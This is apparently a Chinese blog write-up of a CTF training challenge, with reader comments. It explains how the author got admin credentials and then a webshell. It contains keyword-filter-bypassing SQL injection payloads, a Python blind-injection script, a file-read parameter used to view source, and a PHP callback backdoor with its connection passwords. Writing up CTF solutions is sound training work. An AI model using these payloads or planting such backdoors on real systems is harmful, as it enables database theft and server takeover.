最近吃了一发安利,发现了南邮的CTF训练平台,上面有一个往年的题目。就难度而言,大部分其实不算很难。同时,题目中不乏很有趣的题型。
这次来一发平台上面的writeup吧。作为一只web狗,表示脑容量的限制直接导致有一道题做了将近5个小时。然而这题也确实有点意思。
南邮CTF训练平台:http://ctf.nuptsast.com 【上面的题目不错哟,难度不大,可以练手】
题目地址:http://cms.nuptzj.cn/
之所以对这个题目写writeup是为了纪念我那马大哈的粗线条。
思路与信息搜集:
首先映入眼帘的就是一个留言板。凭借一只渣渣web狗不太敏锐的嗅觉,我们可以搜集到以下信息:
- 这是一个留言板,但不是用来xss的。更何况是综合题,所以猜测可能是拿后台然后getshell的。
- 既然是拿后台,根据潜规则,必然有SQL注入。图片最明显的就是那个搜索功能。
- 翻看源码,我们在58行看到了这样一段代码:
本CMS说明
。本地文件包含。好东西。目测可以用php流的filter读源码(事实证明其实并不需要filter,因为此处本来就是用来读源码的),然后分析注入过滤。
所以我们的思路是:
- 搜索框注入拿用户名密码
- 进后台,设法上传一句话
先搜集一下能够利用about.php看到源码的文件:
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件passencode .php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
config.php 看了一眼,环境在sae上,所以上传一句话是没戏。一会再看看具体情况吧。
index.php 看了一下,主要是用于显示留言内容
passencode.php 一个加密算法,并没仔细看
say.php 好吧鸡肋
扫了一发目录,找到个list.php,一个后台审核留言的页面,但是要求session。
于是乎,我的注意力开始集中第一步了。
SQL注入
首先进行留言搜索。抓包分析数据被POST过去,发送到so.php。直接访问,发现对UA进行了限制。于是about.php?file=so.php包含一发,发现了不得了的东西:
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result);
我们不妨仔细看看。首先要修改的是UA;然后,要利用的查询语句在执行时有我们POST的参数id,但是id经过antiinject.php
的过滤,因此我们可以看一看antiinject.php
是如何过滤的,然后绕过过滤进行注入。因此我们在包含一发antiinject.php
。
$keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','='); $info=strtolower($content); for($i=0;$i<count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info); } return $info;
绕过方法简单吧,select -> selecSELECTt;空格用/**/代替。sqlmap目测可以直接用tamper搞定(详情见乌云知识库SQLMAP相关),但是我不知道当时怎么想的……手注+脚本……【脚本贴到最后面】
写完了脚本拖出来的内容:username = admin&userpass = 1020117099010701140117011001160117
然后我拿着这个内容去提交评论,在list.php里面直接写cookie后,发现是可以提交成功的,也就是说我的账号密码是正确的。因此happy的开始找后台了。
寻找后台
当我开心的找到了账号密码,开始找后台时,我发现怎么找都找不到。我怀疑是扫目录没扫出来,就问了一下小伙伴,他说那个是自己找的,我也就宽心了。然而思索了好多方法,robots.txt、googlehack什么鬼的都上了,就是找不到。一时卡住的喔去洗了个澡,一出来神清气爽,然后来了一发about.php?file=about.php……然后后台赫然在眼前。尼玛……前期没有好好搜集信息,耽误了好多时间啊。
$cut=strchr($file,'loginxlcteam'); if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo 'alert('敏感目录,禁止查看!但是。。。')';
然后我就开始鬼使神差的about.php?file=loginxlcteam。是的没错,我在尝试绕过strchr()函数!!!这里由花了一个小时,这一个小时真的是脑洞全开啊。我尝试了一发远程文件包含,about.php?file=www.baidu.com发现能成!心生一念,远程包含一个外网网页,用外网网页来跳转本地文件。(具体可参考乌云上ssrf查看360内网的洞)当我正要写代码时,我发现了一件事情,那就是file_get_contens()并没有执行啊,只是取内容,而且并不可能取到外网php的内容。所以这个思路被否了。后来又想能不能用php流,input,单后把loginxlcteam直接POST过去。想了想,发现还是因为file_get_contents()并不执行脚本和语句。
看到这里你是不是觉得我的思路很有道理呢?
好吧我的错。其实只需要在链接上加上目录地址(http://cms.nuptzj.cn/loginxlcteam/
)就行了。我全部当成LFI了。其实并不是LFI……
登陆后台
做到这里,我已经筋疲力竭了。呵呵大,前面犯了一堆莫名其妙的错误,现在就差一步了,好生激动啊。admin
+ 1020117099010701140117011001160117
,回车。
是的然后我就吐血了。特么密码错误?我可是用list.php验证过的啊!此刻心中一阵愤懑……于是我怀疑其中有猫腻(废话)
我仔细观察密码,试图看出点什么。会不会是编码……换成16进制再解MD5?然而位数不对。就在此时,我发现了好多0.怎么会有这么多0呢?难道0是分隔符?这样一来,102 117 99 107 114……没错,ascii码……好阴险……解码之后发现果然是ascii……(fuckruntu)。然后顺利进入后台。
Get Webshell
看到一个flag1,原来这题修改之前有两个flag啊。有趣。
因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下 小马的文件名为:xlcteam.php
嗯啦,一句话。菜刀咯。关键就是密码。然而不怕,我们有about.php这个前面坑了我好久的文件。
about.php?file=xlcteam.php:
$e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, '');
回调后门(知识库里面p牛总结了整套回调后门,搜一发就ok~)
去吧皮卡丘!密码:wtf=str_replace&www www=str_replace&wtf(感谢chikachika师傅的提醒)
连上即可。在文件中一眼看到flag的txt。
附录
这题用到了:少量php代码审计+SQL注入(绕过过滤)+伪造header+一句话木马+ascii解码。
注入的脚本代码如下:(判断内容长度我是用手工的,一个len()搞定并不需要脚本)
import requests import string urlme = 'http://cms.nuptzj.cn/so.php' headersme = { 'User-Agent': 'Xlcteam Browser', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'cms.nuptzj.cn', 'Content-Length': 159 } payload1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' payload2 = '123456789' result = '' for j in range(1, 35): for i in payload1: fuck = ord(i) fuck = str(fuck) num = str(j) commandme = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/' + num + '/*a*/FOorR/*a*/1))>' + fuck + ')' datame = { 'soid': commandme } req = requests.post(url=urlme, headers = headersme, data = datame) if len(str(req.text)) == 437: fuck = string.atoi(fuck) print chr(fuck) result = result + chr(fuck) break print result print '[End]'
我想请教一下nctf里面那道层层递进该怎么做?
页面乍一看很复杂,看看源码,无视掉不同域的内容,剩下的东西就很少了。挨个点进去看看就知道了
谢谢,做出来了,终于明白题目的含义了☺
Vigenere 请问下这题怎么做
我想问一下如果用sqlmap的话,注入语句应该怎么写,或者tamper应该调用哪几个函数
你参考一下 nonrecursivereplacement.py
貌似不行,大神搞个看看,搞出来了告诉我们呗
这个投入产出比不值得啊……原理get就好了
谢谢指点,收获很多!后门密码应该是www=preg_replace&wtf。还有请教一下大神在用什么菜刀啊?altman3貌似连不上,用一个带后门的才连上的。
多谢提醒,原文已修改。另外我的菜刀是freebuf上下的据说没有后门的菜刀,然而我也不知道是不是真的没后门。
注入管理员密码直接一条语句就可以了,不用跑脚本的:
soid==1/**/anandd/**/1>2/**/uniunionon/**/selselectect/**/1,group_concat(userpapassss),2,3/**/frfromom/**/adadminmin#
握草老铁你是github上那个乌云镜像的主人?